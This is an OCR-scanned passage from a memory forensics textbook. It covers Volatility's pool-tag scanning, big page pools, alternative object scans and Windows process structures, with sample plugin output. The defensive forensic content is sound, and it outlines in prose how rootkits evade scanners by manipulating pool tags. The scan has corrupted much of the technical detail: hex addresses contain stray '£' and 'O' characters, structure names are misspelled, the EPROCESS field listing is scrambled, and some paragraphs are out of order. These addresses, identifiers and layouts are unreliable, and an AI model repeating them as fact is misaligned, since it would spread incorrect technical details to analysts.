kernel’s page table. Of course, if you set an explicit starting address and length using the
aforementioned command-line options, that overrides the algorithm’s default behavior.
Before the scanner returns an address, data at the address must pass all the constraints.
The more checks you have, the less chance there is of false positives.

Finding Terminated Processes

An example of running the psscan plugin with all the default options is shown in the
following output:

S python vol.py -f win7x64.dd --profile=Win7SP0x64 psscan
Volatility Foundation Volatility Framework 2.4
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Offset (P) Name PID PPID Time created Time exited
0x02dcla70 svchost.exe 2016 448 2011-12-30 07:29:13

0x0af80b30 conhost.exe 2476 360 2012-01-20 17:54:37

[snip]

O0x1lfceca00 svchost.exe 1904 448 2012-01-19 14:27:08

0x24ef7630 winlogon.exe 388 344 2011-12-30 08:25:55

0x254fc060 iexplore.exe 2552 2328 2012-01-10 18:38:18

[snip]

0x6963£910 services.exe 448 352 2011-12-30 08:25:57

0x77ae6310 lsm.exe 472 352 2011-12-30 08:25:57

0x7aa9d060 sppsvc.exe 824 448 2011-12-30 08:26:14

[snip]

0x7e136540 svchost.exe 632 448 2011-12-30 08:26:01

0x7elad5c0 cmd.exe 2336 880 2012-01-20 17:54:37

0x7e263470 PING.EXE 788 2708 2012-03-11 09:00:03 2012-03-11 09:00:11
0x7e36e8e0 IPCONFIG.exe 2072 2708 2012-03-11 09:00:02 2012-03-11 09:00:02
0x7e8ec920 svchost.exe 1868 448 2011-12-30 07:29:10

[snip]

0x7£530800 csrss.exe 316 308 2011-12-30 08:25:45

0x7£55a810 iexplore.exe 2328 880 2012-01-10 18:36:48

The output shows two processes with an exit time, which means they have terminated.
Both ipconfig.exe and ping.exe execute for only a matter of seconds (or less), so it makes
sense that they would exit soon after they start. If you walk the operating system’s internal
list of active processes, you won't see either process because they had both terminated
before the memory dump was acquired. However, by leveraging the pool tag scanning
technique in physical space, we were able to find evidence that can support your growing
theory that an attacker on the system had been performing reconnaissance against the
network using those two utilities.

This example just highlights one of the most common use cases for pool tag scanning.
Later chapters revisit the topic and use pool scanning to detect the presence of kernel-
level rootkits.

Limitations of Pool Scanning

The pool-scanning approach provides a powerful way to find objects without the inter-
vention or assistance of the target operating system. However, it does have several limita-
tions, which you should understand before drawing conclusions based on the results of
pool-scanning plugins.
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Non-malicious Limitations

The following list describes limitations that are not the result of malicious tampering of
evidence.

Untagged pool memory: ExallocatePoolWithTag is Microsoft’s recommended way
for drivers and kernel-mode components to allocate memory, but it’s not the only
option. A driver can also use Exallocatepool, which is in the process of being
deprecated, but is still available on many versions of Windows. This API allocates
memory, but without a tag—leaving you no easy way to track or scan for the
allocations.

False positives: Because the pool-scanning technique is essentially based on pat-
tern matching and heuristics, false positives are a possibility. This is especially
true when scanning the physical address space because it includes data that the
operating system discarded. To resolve false positives, you typically need to con-
sider the context of the object (where it was found), if the member values make
sense (this can vary per object), and if you found the object by other means such
as alternate lists.

Large allocations: The pool tag scanning technique does not work for allocations
larger than 4096 bytes (see the upcoming section, “Big Page Pool”). Fortunately,
all executive objects are less than this size.

Malicious Limitations (Anti-Forensics)

The following list describes caveats to pool scanning that exist specifically due to anti-
forensic attacks.

Arbitrary tags: A driver can allocate memory using a generic, or default, tag such
as “Ddk “ (the last character is a space). This tag is used throughout the operat-
ing system and also third-party code when a tag is not specified. In other words,
if malicious drivers use “Ddk “ as their tag, the memory block will blend in with
other allocations.

Decoy tags: As stated by Walters and Petroni (https://www.blackhat . com/presen-
tations/bh-dc-07/Walters/Paper/bh-dc-07-Walters-WP. pdf) a driver can create
fake (or decoy) objects that appear “life-like” to mislead investigators, effectively
increasing the signal-to-noise ratio.

Manipulated tags: Because tags are intended for debugging purposes, they aren’t
critical for the stability of the operating system. Rootkits running in the kernel can
modify pool tags (or any other value in the _rooL_HEADER, such as the block size
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and memory type) without any noticeable difference on the live machine, but the
manipulation prevents Volatility’s pool scanner from working properly.

You can counter most, if not all, of these anti-forensics techniques by corroborating
the evidence you see with other sources of data. For example, in Chapter 6 we discuss at
least six ways to find processes—only one of which involves pool scanning. To debunk a
fake TCP connection object, you should consult network packet captures or firewall logs,
and so on, to see if the activity really occurred.

Big Page Pool

As previously mentioned, the Windows kernel will try to group similarly sized alloca-
tions together. However, if the requested size exceeds one page (4096 bytes), the block
of memory is allocated from a special pool (the big page pool) that is reserved for large
allocations. In this case, the _poor_zEADER, which contains the four-byte tag and exists at
the base address for smaller allocations, is not used at all. Thus, pool tag scanning will
fail because there is no tag to be found. Figure 5-4 shows the difference in memory layout
between two adjacent kernel allocations that are smaller than 4096 bytes and two that
are greater than 4096 bytes.

Two adjacent kernel allocations Two adjacent kernel allocations
Both less than 4096 bytes Both greater than 4096 bytes

_POOL_HEADER

Allocation #1 Allocation #1

_POOL_HEADER

Big Page Track Tables

Allocation #2

Allocation #2

Figure 5-4: Large allocations lose the pool header
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As you can see, _POOL_HEADER structures aren't stored for large allocations. As a proof
of concept, we wrote a kernel driver that hooked the obcreateobject API and increased
the size of allocations used to store _EprocEss objects. As we suspected, Volatility’s psscan
plugin failed to find the new processes because the proc tag is nonexistent. On the bright
side, you're not completely out of luck; you just have to look in a different place than
usual. For example, Figure 5-4 illustrates that big page track tables can point you directly
to the objects in big page pools.

Big Page Track Tables

The big page track tables are significantly different from the pool track tables mentioned
earlier in the chapter. The pool track tables ( _poor_tTrRacker_TaBLE) for small memory
blocks store statistics regarding the number of allocations and byte usage; but they don’t
tell you the addresses of all the allocations (thus the need to scan). Big page track tables,
on the other hand, don't store statistics, but they include the addresses of the allocations.
If you can find the big page track tables, they can serve as your map to locating any large
allocations in kernel memory.

Unfortunately, the kernel symbol nt : PoolBigPageTable, which points to the array of
_POOL_TRACKER_BIG_PAGES structures, (one for each large allocation), is neither exported
nor copied to the kernel debugger data block. However, we discovered that this symbol
can always be found at a predictable location relative to nt : PoolTrackTable (Which is
copied to the debugger data block). Thus, if you can find the pool track tables, you can
find the big page track tables easily.

The following output shows the big page track table structure for 64-bit Windows 7:

>>> dt("_POOL_TRACKER BIG_PAGES")
' _POOL_TRACKER_BIG_PAGES' (24 bytes)

0x0 : Va ['pointer64', ['void']]
0x8 : Key ["unsigned long']
0xc : PoolType ["unsigned long']
0x10 : NumberOfBytes ['unsigned long long']

The va member, which is short for virtual address, points to the base address of the
allocation. You can also see the key value (pool tag), PoolType (paged or nonpaged), and
NumberOfBytes (size of the allocation). Keep in mind that although this structure stores
the pool tag, it is in a completely different location from the allocation, which is pointed
to by va. For small allocations, the pool tag is contained within the allocation (recall what
you saw in Figure 5-4).
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Bigpools Plugin
To generate information on large kernel pool allocations in a memory dump, you can use
the bigpools plugin. The following command shows an example of the output:

$ python vol.py -f win7x64cmd.dd --profile=Win7SP0x64 bigpools
Volatility Foundation Volatility Framework 2.4

Allocation Tag PoolType NumberOfBytes
Oxff£f££f8a003747000 CM31 PagedPoolCacheAligned 0x1000L
Oxfff££f8a00£9a8001 CM31 PagedPoolCacheAligned 0x1000L
0xfffff8a004a4£000 CM31 PagedPoolCacheAligned 0x1000L
0xfffff8a00861d001 CM31 PagedPoolCacheAligned 0x1000L
0xfffffa8002fcal00 Cont NonPagedPool 0x1000L
0xfffff8a00a47a001 CM53 PagedPool 0x1000L
Oxfff££8a00293c000 CMA? PagedPool 0x1000L
O0xfff££8a00324a000 CM25 PagedPool 0x1000L
[snip]

The Allocation column tells you the kernel memory address where the allocation
begins. If you wanted to see the contents of the region, you could dump data at that
address in volshell. Some resources indicate that allocations with an address that ends
in 1 (for example, oxf££££8200£9a8001) are in nonpaged memory; however, according to
our research, the 1 means marked as free. Thus, you can try to display those addresses,
but they likely won't contain what you expect them to, based on the pool tag. For example,
compare a few of the cm31 blocks:

$ python vol.py -f win7x64cmd.dd --profile=Win7SP0x64 volshell

Volatility Foundation Volatility Framework 2.4

Current context: process System, pid=4, ppid=0 DTB=0x187000
Welcome to volshell! Current memory image is:

To get help, type 'hh()'

>>> db(0xf£f£££8a003747000, length=0x1000)

Oxfff££8a003747000 6862 696e 00b0 1000 0010 0000 0000 0000 hbin............
Oxffff£8a003747010 0000 0000 0000 0000 0000 0000 0000 0000 ................
O0xffff£f8a003747020 e0ff ffff 766b 0400 0400 0080 0100 0000 vk,
Oxfff££f8a003747030 0400 0000 0100 0000 3134 3036 0000 0000 ........ 1406
Oxffff£8a003747040 eOff f££ff 766b 0400 0400 0080 0300 0000 ' S
Oxff£££8a003747050 0400 0000 0100 1000 3134 3039 90ae 1000 ........ 1409
Oxfffff8a003747060 eOff f££ff 766b 0400 0400 0080 0000 0000 '/ S
[snip]

>>> db (0xf£f£££8a00£9a8001, length=0x1000)

Memory unreadable at f£f£f£8a00£9a8001

>>> db(0xf£f£f££8a00861d001, length=0x1000)

Oxfffff8a00861d001 0081 034d 6d53 7478 0025 0025 0042 00cO MmStx.%.%.B
Oxfffff8a00861d011 180d 1a00 0000 00cO 0430 6b4c 0380 facO ......... OkL
O0xfffff8a00861d021 0430 6b4c 0380 facO 0430 6b4c 0380 facO .OkL..... OkL.
Oxfffff8a00861d031 0430 6b4c 0380 facO 0430 6b4c 0380 facO .OkL..... OkL.
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Oxfffff8a00861d041 0430 6b4c 0380 facO 0430 6b4c 0380 facO .OKL..... OKL. ...
Oxfffff8a00861d051 0430 6b4c 0380 facO0 0430 6b4c 0380 facO .OKL..... OKL....
[snip]

The first address (oxf££££82a003747000) contains hbin at the base and several instances
of vk. As previously mentioned, the cm from cm31 stands for Configuration Manager,
which is the registry component of the kernel. hbin and vk are the signatures for reg-
istry HBIN blocks and individual values, respectively (see Chapter 10). The second
(oxff£££8a00£9a8001) and third (oxfffff8a00861doo1) addresses are both marked as free,
but there is a significant difference between the two. One is not available, perhaps because
it's swapped to disk—after all, it is located in paged memory. The other appears to have
already been reallocated and overwritten because the hbin signature is gone.

Exploring Big Page Pools

On a typical system, there are thousands of allocations in the big page pool, so you may
want to filter using the - -tags option to the plugin (a comma-separated list of tags to
find). Otherwise, if you're just exploring, you can save the list of allocations to a text file
and then sort based on tag frequency. For example, see the following code:

S python vol.py -f win7x64cmd.dd --profile=Win7SP0x64 bigpools > bigpools.txt
$ awk '{print $2}' bigpools.txt | sort | wuniq -c | sort -rn
9009 CM31
3142 CM53
2034 CM25
1757 PfTt : Pf Translation tables
1291 Cont : Contiguous physical memory allocations for device drivers
940 MmSt : Mm section object prototype ptes
540 MmAc : Mm access log buffers
529 CMA?
442 MmRe : ASLR relocation blocks
432 CM1l6
237 Obtb : object tables via EX handle.c
105 Pp
99 SpSy
78 InPa : Inet Port Assignments
[snip]

NOTE

The descriptions for the pool tags are not automatically generated by the commands
shown. We manually looked them up in pooltag. txt and added them to annotate the
output.

145
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Based on the descriptions, you can see that data in big page pools contains some very
interesting artifacts—from translation tables to memory manager (Mm) page table entries
(PTEs) and access logs, Address Space Layout Randomization (ASLR) details, process
handle tables (object tables), and Internet port assignments. Interpreting the data in these
allocations requires an understanding of the structures and formats that the owning
driver uses, but knowing the descriptions and exactly where to find the blocks in memory
will speed up your research drastically.

Pool-Scanning Alternatives

Now that you've learned the strengths and weaknesses of pool tag scanning for memory
forensics, we'll end this chapter with a quick discussion of a few alternative methods.

Dispatcher Header Scans

Several of the executive object types (such as processes, threads, and mutexes) are synchro-
nizable. That means other threads can synchronize with, or wait on, these objects to start,
finish, or perform another type of action. To enable this functionality, the kernel stores
information about the object’s current state in a substructure called _DISPATCHER HEADER
that appears at the very start (i.e., offset zero) of the executive object structures. More
importantly, the header contains several values that are consistent across memory dumps
from a given version of Windows, so you can easily build a per-profile signature to find.

NOTE

For more information on the use of dispatcher headers for memory forensics, see
Andreas Schuster’s Searching for Processes and Threads in Microsoft Windows Memory
Dumps (http ://www.dfrws.org/2006 /proceedings/2-Schuster. pdf).

The following output is from a 32-bit Windows XP Service Pack 2 system:

>>> dt (" DISPATCHER HEADER")
' DISPATCHER HEADER' (16 bytes)

0x0 : Type ['unsigned char']
0x1 : Absolute ["unsigned char']
0x2 : Size ['unsigned char']
0x3 : Inserted ['unsigned char']
0x4 : SignalState ['long']

0x8 : WaitListHead [' LIST ENTRY']
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Andreas Schuster found that the absolute and Inserted fields were always zero for
Windows 2000, XP, and 2003 systems. The Type and size fields were a hard-coded value
that specifies the object type and size of the object, respectively. For example, on 32-bit
Windows XP machines, the Type is 3 for processes, and the size is 0x1b, making a four-
byte signature of \x03\x00\x1b\x00. Similar to a pool tag, you can sweep through the
memory dump looking for instances of this signature to find all _eprocEss objects. This
is how one of the very early memory forensics tools called PTFinder worked: http://
computer. forensikblog.de/en/2007/11/ptfinder-version-0305.html.

One of the disadvantages of dispatcher header scanning is that it can only help find
objects that are synchronizable. For example, file objects are not synchronizable, so they
don'thave an embedded _prspaTcHErR HEADER. Thus, you cannot find _FILE_oBJECT instances
with this method. Furthermore, starting in Windows 2003, the _DISPATCHER_HEADER struc-
ture was expanded to 10 members instead of just 6; and the Windows 7 version has almost
30. With that many members, it introduces uncertainty that they’ll stay consistent enough
to build a signature.

NOTE

An example of a dispatcher header scanner that finds processes can be found in the
contrib/plugins/pspdispscan.py file in the Volatility source code. It is provided just
as a proof of concept and thus currently works only with 32-bit Windows XP samples.

Robust Signature Scans

Both the pool headers and dispatcher headers are nonessential to the operating system,
which means they can be maliciously modified to defeat signature-based scanning with-
out causing system instability. There is, however, another approach to finding objects in
memory dumps that is resilient against such modifications. Brendan Dolan-Gavitt and
his colleagues wrote a paper titled Robust Signatures for Kernel Data Structures (http://
www.cc.gatech.edu/~brendan/ccs09_siggen.pdf) that describes the methodology. They
fuzzed the operating system by changing individual members of _eprocEss and record-
ing which ones caused the system to crash. Those members were labeled essential. A
signature was then built based only on the essential members.

NOTE

The fuzzing apparatus was based on using Volatility in write mode against physical
memory from Xen and VMware Server virtual machines (VMs).
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An example VOlatility plugin named psscan3 (http ://www.cc.gatech.edu/~brendan/
volatility/dl/psscan3.py) was developed and distributed along with the paper. The
following list provides a summary of what Dolan-Gavitt and his colleagues considered
to be a robust signature for _EpPRoCESS objects.

DTB alignment: The pirectoryTableBase must be aligned on a 32-bit boundary.
Granted access flags: The Grantedaccess member must have the ox1ro7FB flags set.
Pointer validity: The vadroot, ObjectTable, ThreadListHead, and ReadyListHead
members must all contain valid kernel mode addresses.

Working set list: The vmWorkingsetList member must not only point in kernel
mode but it also needs to be above 0xco000000 (for 32-bit systems).

Lock counts: The workingSetLock and AddressCreationLock counts must be equal
to1.

Any attempt to modify these members to values outside of the specified ones would
result in a blue screen of death. Thus, your scanner becomes more robust against the
potential changes that an attacker (or malware sample) may try to make. However, this
technique requires a fuzzing framework and significant time to validate and test the
findings. For this reason, the psscan3 plugin is not currently included with the latest
Volatility—but you can download and use it with Volatility 1.3.

Summary

The Windows Object Manager plays a critical role in the creation and deletion of many
major artifacts, which investigators rely on analyzing (processes, files, registry keys, and
so on). However, the reliability of the evidence you see depends on the manner in which
the memory forensics framework finds and validates the data. Although a brute force
scan through physical memory (including the free blocks) is quite powerful, it is fragile
in the sense that it’s typically based on nonessential signatures. To be an effective ana-
lyst, you need to understand how the scanning techniques work and, consequently, how
attackers can evade memory forensics tools. In addition, you should grow accustomed to
corroborating multiple sources of evidence before drawing conclusions.



his chapter combines three of the most common initial steps in an investigation:

determining what applications are running, what they’re doing (in terms of access
to files, registry keys, and so on), and what security context (or privilege level) they have
obtained. In doing so, you'll also learn how to detect hidden processes, how to link pro-
cesses to specific user accounts, how to investigate lateral movement across networks,
and how to analyze privilege escalation attacks.

Although this chapter covers a wide range of process-related investigation techniques,
it’s only the beginning—and it mainly deals with artifacts that exist in kernel memory.
The analysis methods involving dynamic link libraries (DLLs), process memory, injected
code, and things of that nature are covered in the chapters that follow.

Processes

The diagram in Figure 6-1 shows several of the basic resources that belong to a process.
At the center is the EProcEss, which is the name of the structure that Windows uses
to represent a process. Although the structure names certainly differ among Windows,
Linux, and Mac, all operating systems share the same concepts that are described in this
high-level diagram. For example, they all have one or more threads that execute code,
and they all have a table of handles (or file descriptors) to kernel objects such as files,
network sockets, and mutexes.

Each process has its own private virtual memory space that’s isolated from other pro-
cesses. Inside this memory space, you can find the process executable; its list of loaded
modules (DLLs or shared libraries); and its stacks, heaps, and allocated memory regions
containing everything from user input to application-specific data structures (such as
SQL tables, Internet history logs, and configuration files). Windows organizes the memory
regions using virtual address descriptors (VADs), which are discussed in Chapter 7.
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Figure 6-1: A high-level diagram showing basic process resources

As the figure also shows, each _EPrOCESs points to a list of security identifiers (SIDs)
and privilege data. This is one of the primary ways the kernel enforces security and
access control. By combining all these concepts into your investigative procedure, you can
gather a significant amount of evidence to help determine what process(es) were involved
in malicious activity, what artifacts are related to an incident, and what user accounts
might have been compromised.

Analysis Objectives

Your objectives are these:

Process internals: Learn how the operating system keeps track of processes and
how Windows APIs enumerate them. This helps you understand why live tools
are so easily deceived.

Identify critical processes: Explore several critical Windows processes and learn
how normal systems operate. You'll be more prepared to spot anomalies, especially
those that involve attempts to blend in with critical processes.

Generate visualizations: Learn how to create visualizations that illustrate parent
and child relationships between processes. Doing so helps you determine the chain
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of events that led to a particular process starting, which is often very important

when piecing together an incident.
Detect Direct Kernel Object Manipulation (DKOM): Spot attempts to hide pro-
cesses by altering one or more process lists in kernel memory. Specifically, you'll

learn seven different ways to locate processes in memory dumps, which gives you

a huge advantage against rootkits.

Data Structures

Windows tracks processes by assigning them a unique _gprocess structure that resides in a

non-paged pool of kernel memory. Here is how it appears for a 64-bit Windows 7 system:

>>> dt ("_EPROCESS")

0x0
0x160
0x168
0x170
0x178
0x180
0x188
0x198
0xlas8
0x1b8
0x1cO
0x1c8
0x1d0
0x1d8
0xle0
0x1f0
[snip]
0x200
0x208
0x210
0x218
[snip]
0x290
[snip]
0x2d0
0x2d8
0x2e0
0x2ef
0x2f0
0x300
0x308
0x318
0x320
0x328

' _EPROCESS' (1232 bytes)

Pcb
ProcessLock
CreateTime

ExitTime

: RundownProtect
: UniqueProcessId
: ActiveProcessLinks

ProcessQuotaUsage
ProcessQuotaPeak
CommitCharge

: QuotaBlock

CpuQuotaBlock
PeakVirtualSize

: VirtualSize

SessionProcessLinks

: DebugPort

: ObjectTable
: Token
: WorkingSetPage

: AddressCreationLock

InheritedFromUniqueProcessId

PageDirectoryPte
Session
ImageFileName
PriorityClass
JobLinks
LockedPagesList

: ThreadListHead

SecurityPort

: Wow64Process
: ActiveThreads

['_KPROCESS']

[' EX PUSH LOCK']

['WinTimeStamp', {'is utc': True}]
['WinTimeStamp', {'is utc': True}]
[' EX_RUNDOWN REF']

['unsigned int']

[' LIST ENTRY']
[tarray', 2, ['unsigned long long'l]]
[tarray', 2, ['unsigned long long']]

['unsigned long long']
['pointer64', ['_EPROCESS_QUOTA BLOCK']
['pointer64', [' PS CPU QUOTA BLOCK']]
['unsigned long long']
['unsigned long long']

[' LIST ENTRY']
['pointer6d', ['void']]
['pointer64 ', ['_HANDLE_TABLE']]

[' EX FAST REF']
['unsigned long long']
['_EX_PUSH LOCK']

['unsigned int']

[' HARDWARE PTE']
['pointer6d', ['void']]
['String', {'length': 16}]
['unsigned char']

[' LIST ENTRY']
['pointer64', ['void']]
['_LIST ENTRY']
['pointer6d', ['void']]
['pointer6d', ['void']]

['unsigned long']
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0x32c : ImagePathHash ['unsigned long']
0x330 : DefaultHardErrorProcessing ['unsigned long']
0x334 : LastThreadExitStatus ['long']
0x338 : Peb ['pointer64', ['_PEB']]
[snip]
0x444 : ExitStatus ['long']
0x448 : VadRoot [' MM AVL, TABLE']
0x488 : AlpcContext ['_ALPC_PROCESS_CONTEXT']
0x4a8 : TimerResolutionLink ['_LIST ENTRY']
0x4b8 : RequestedTimerResolution ['unsigned long']
0x4bc : ActiveThreadsHighWatermark ['unsigned long']
0x4c0 : SmallestTimerResolution ['unsigned long']
Key Points
The key points are these:

pcb: The kernel’s process control block (_xprocgss). This structure is found at the base
of _EProCESs and contains several critical fields, including the pirectoryTableBase
for address translation and the amount of time the process has spent in kernel
mode and user mode.

createTime: A UTC timestamp indicating when the process first started.
ExitTime: A UTC timestamp indicating the time the process exited. This value is
zero for still-running processes.

UniqueProcessId: An integer that uniquely identifies the process (also known as
the PID).

ActiveProcessLinks: The doubly linked list that chains together active processes
on the machine. Most APIs on a running system rely on walking this list.
SessionProcessLinks: Another doubly linked list that chains together processes
in the same session.

InheritedFromUniqueProcessId: An integer that specifies the PID of the parent
process. After a process is running, this member is not modified, even if its parent
terminates.

Session: This member points to the _MM_sEssIon_spack structure (see Chapter 14)
that stores information on a user’s logon session and graphical user interface (GUI)
objects.

ImageFileName: The filename portion of the process” executable. This field stores
the first 16 ASCII characters, so longer filenames will appear truncated. To get the
full path to the executable, or to see the Unicode name, you can access the corre-
sponding VAD node or members in the PEB (see Chapter 7).

ThreadListHead: A doubly linked list that chains together all the process’ threads
(each list element is an _ETHREAD).



Process Organization

The EPRrROCESS structure contains a _1.I1ST_ENTRY structure called ActiveProcessLinks.
The _n1sT_ENTRY structure contains two members: a Flink (forward link) that points
to the 1.IsT ENTRY Of the next EPROCESS structure, and the B1ink (backward link) that
points to the _rL1sT_ENTRY 0f the previous EPROCESS structure. Together, these items create
a chain of process objects, also called a doubly linked list (see Chapter 2). Figure 6-2 shows

ActiveThreads: An integer indicating the number of active threads running in the
process context. Seeing a process with zero active threads is a good sign that the

process has exited.

peb: A pointer to the Process Environment Block (PEB). Although this member
(_EPROCESS. Peb) exists in kernel mode, it points to an address in user mode. The
PEB contains pointers to the process” DLL lists, current working directory, com-
mand line arguments, environment variables, heaps, and standard handles.

VadRoot: The root node of the VAD tree. It contains detailed information about a
process’ allocated memory segments, including the original access permissions
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(read, write, execute) and whether a file is mapped into the region.

a diagram of how the _nIsT ENTRY structures link processes together.
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Figure 6-2: Processes are chained together in a doubly linked list pointed to by PsActiveProcessHead.

On a running system, tools, such as Process Explorer and Task Manager, rely on walk-
ing the doubly linked list of _EPrROCESS structures. An API commonly used for this purpose
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is NtQuerySystemInformation, but many higher-level APIs provided by the operating
system also access the same data.

Enumerating Processes in Memory

As briefly described in the “Issues with Profile Selection” section of Chapter 3, to list
processes, Volatility first locates the kernel debugger data block ( _KDDEBUGGER DATA64).
From there, it accesses the pPsactiveProcessHead member, which points to the head of the
doubly linked list of _EPrOCESS structures. We also discussed the pool-scanning approach
in Chapter 5.

In this chapter, we present many other ways to find processes in a memory dump.
It is important to implement alternative methods because the debugger data block, the
linked-list pointers, and the pool tags are all nonessential to OS stability—which means
they can be manipulated (accidentally or intentionally) to defeat forensic tools without
disrupting the system or its processes.

Critical System Processes

Before you begin analyzing the state of a system based on what applications are running,
you should be familiar with the critical system processes; if you know what’s normal, you
can detect what’s abnormal more quickly. Throughout the rest of the chapter, we discuss
various practical investigative steps to verify the material you see here, so for now we’ll
just focus on the theoretical concepts of how things should appear on clean systems.

NOTE

Patrick Olsen’s Know your Windows Processes or Die Trying (http://sysforensics.
0rg/2014/01/know-your-windows-processes.html) is a great resource that provides
thorough descriptions of critical processes, including specific artifacts to check for
during your analysis. We based some of the following facts on Patrick’s article:

Idle and system: These are not real processes (in the sense that they have no cor-
responding executable on disk). 1dle is just a container that the kernel uses to
charge CPU time for idle threads. Similarly, system serves as the default home for
threads that run in kernel mode. Thus, the system process (PID 4) appears to own
any sockets or handles to files that kernel modules open.

csrss.exe: The client/server runtime subsystem plays a role in creating and delet-
ing processes and threads. It maintains a private list of the objects that you can
use to cross-reference with other data sources. On systems before Windows 7, this
process also served as the broker of commands executed via cmd. exe, so you can
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extract command history from its memory space. Expect to see multiple CSRSS
processes because each session gets a dedicated copy; however, watch out for
attempts to exploit the naming convention (csrsss.exe Or cssrs.exe). The real one
is located in the system32 directory.

services.exe: The Service Control Manager (SCM) is described more thoroughly
in Chapter 12, but in short, it manages Windows services and maintains a list of
such services in its private memory space. This process should be the parent for
any svchost . exe (service host) instances that you see, in addition to processes such
as spoolsv.exe and SearchIndexer.exe that implement services. There should be
only one copy of services.exe on a system, and it should be running from the
system32 directory.

svchost .exe: A clean system has multiple shared host processes running concur-
rently, each providing a container for DLLs that implement services. As previously
mentioned, their parent should be services.exe, and the path to their executable
should point to the system32 directory. In his blog, Patrick identifies a few of the
common names (such as scvhost . exe and svchost . exe) used by malware to blend
in with these processes.

1sass.exe: The local security authority subsystem process is responsible for enforcing
the security policy, verifying passwords, and creating access tokens. As such, it’s often
the target of code injection because the plaintext password hashes can be found in its
private memory space. There should be only one instance of 1sass . exe running from
the system32 directory, and its parent is winlogon.exe on pre-Vista machines, and
wininit.exe on Vista and later systems. Stuxnet created two fake copies of 1sass . exe,
which caused them to stick out like a sore thumb.

winlogon.exe: This process presents the interactive logon prompt, initiates the
screen saver when necessary, helps load user profiles, and responds to Secure
Attention Sequence (SAS) keyboard operations such as cTRL+ALT+DEL. Also, this
process monitors files and directories for changes on systems that implement
Windows File Protection (WFP). As with most other critical processes, its execut-
able is located in the system32 directory.

explorer.exe: You'll see one Windows Explorer process for each logged-on user. It
is responsible for handling a variety of user interactions such as GUI-based folder
navigation, presenting the start menu, and so on. It also has access to sensitive
material such as the documents you open and credentials you use to log in to FTP
sites via Windows Explorer.

smss . exe: The session manager is the first real user-mode process that starts dur-
ing the boot sequence. It is responsible for creating the sessions (see Chapter 14)
that isolate OS services from the various users who may log on via the console or
Remote Desktop Protocol (RDP).
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Although this list isn't comprehensive, it should provide enough information to get you
started. You should also become familiar with a number of noncritical (but common) pro-
cesses, such as 1ExPLORE. EXE (and other browsers), e-mail clients, chat clients, document
readers (Word, Excel, Adobe), antivirus applications, disk encryption tools, remote access and
file transfer utilities (SSH, Telnet, RDP, VNC), password-cracking tools, and exploit toolkits.

Analyzing Process Activity

Volatility provides a few commands you can use for extracting information about
processes:

pslist finds and walks the doubly linked list of processes and prints a summary of
the data. This method typically cannot show you terminated or hidden processes.
pstree takes the output from pslist and formats it in a tree view, so you can easily
see parent and child relationships.

psscan scans for _EPROCESS objects instead of relying on the linked list. This plugin
can also find terminated and unlinked (hidden) processes.

psxview locates processes using alternate process listings, so you can then cross-
reference different sources of information and reveal malicious discrepancies.

An example of the pslist command follows:

S python vol.py -f lab.mem --profile=WinXPSP3x86 pslist
Volatility Foundation Volatility Framework 2.4

Offset (V) Name PID PPID Thds Hnds Sess Start

0x823c8830 System 4 0 56 537 -----

0x8le7el80 smss.exe 580 4 3 19 ----- 2013-03-14 03:02:22
0x82315da0 csrss.exe 644 580 10 449 0 2013-03-14 03:02:25
0x81£37948 winlogon.exe 668 580 18 515 0 2013-03-14 03:02:26
0x81fecl28 services.exe 712 668 15 281 0 2013-03-14 03:02:27
[snip]

0x81eb4300 vmtoolsd.exe 1684 1300 6 213 0 2013-03-14 03:02:45
0x8210b9c8 IEXPLORE.EXE 1764 1300 16 642 0 2013-03-14 03:03:04
0x81e79020 firefox.exe 180 1300 27 447 0 2013-03-14 03:03:05
0x81cb63d0 wuauclt.exe 1576 1072 3 104 0 2013-03-14 03:03:40
0x81e86bf8 alg.exe 1836 712 5 102 0 2013-03-14 03:04:00
0x8209edal wscntfy.exe 2672 1072 1 28 0 2013-03-14 03:04:01
0x82013340 jucheck.exe 2388 1656 2 104 0 2013-03-14 03:07:45
0x81e79418 thunderbird.exe 3832 1300 30 339 0 2013-03-14 03:12:54
0x8202b398 AcroRd32.exe 3684 180 0 ------- 0 2013-03-14 14:19:16
0x8lecd3cO0 cmd.exe 3812 3684 1 33 0 2013-03-14 14:19:29
0x81f55bd0 al[ll.php 2280 3812 1 139 0 2013-03-14 14:19:30
0x8223b738 IEXPLORE.EXE 2276 2280 7 280 0 2013-03-14 14:19:32
0x822c8a58 AcroRd32.exe 2644 180 0 ------- 0 2013-03-14 14:40:16
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The first column in the output, of£set (v), displays the virtual address (in kernel mem-
ory) of the _EPROCESS structure. Moving to the right, you see the process name (or at least
the first 16 characters), its PID, parent PID, number of threads, number of handles, session
ID, and create time. You can gather a number of interesting facts by looking at this data:

Three browsers are running (two instances of IEXPLORE.EXE and one firefox
. exe), an e-mail client (thunderbird . exe), and Adobe Reader (AcroRd32 . exe). Thus,
this machine is very likely to be a client or workstation, as opposed to a server.
Furthermore, if you suspect a client-side attack vector (such as a drive-by down-
load or phishing exploit), it is wise to mine these processes for data related to the
incident because there’s a good chance that one or more of them was involved.
All processes, including the system-critical ones, are running in session 0, which
indicates this is an older (Windows XP or 2003) machine (that is, before session 0
isolation) and that only one user is currently logged on.

Two of the acrord32 . exe processes have 0 threads and an invalid handle table pointer
(indicated by the dashed lines). If the exit time column were displayed (we truncated
it to prevent lines from wrapping on the page), you'd see that these two processes
have actually terminated. They’re “stuck” in the active process list because another
process has an open handle to them (see The Mis-leading Active in PsActiveProcessHead:
http://mnin.blogspot.com/2011/03/mis—leading—active—in.html)

The process with PID 2280 (a [1] . php) has an invalid extension for executables—it
claims to be a PHP file. Furthermore, based on its creation time, it has a tempo-
ral relationship with several other processes that started during the same minute
(14:19:XX), including a command shell (cmd.. exe).

Just looking at the process list can often give you some immediate clues worthy of fur-
ther investigation. The pstree plugin can extend your knowledge by providing a visual
interpretation of the parent and child relationships. As shown in the following output, a
process’ children are indented to the right and prepended with periods.

$ python vol.py -f lab.mem --profile=WinXPSP3x86 pstree
Volatility Foundation Volatility Framework 2.4

[snip]

0x82263378:explorer.exe 1300 1188 11 363 2013-03-14 03:02:42

. 0x81e85dal:TSVNCache.exe 1556 1300 7 53 2013-03-14 03:02:43

. 0x81e79020:firefox.exe 180 1300 27 447 2013-03-14 03:03:05

. 0x8202b398:AcroRd32.exe 3684 180 0 ------ 2013-03-14 14:19:16
. 0x8lecd3c0:cmd.exe 3812 3684 1 33 2013-03-14 14:19:29
. 0x81£55bd0:a[1l] .php 2280 3812 1 139 2013-03-14 14:19:30

..... 0x8223b738:IEXPLORE.EXE 2276 2280 7 280 2013-03-14 14:19:32
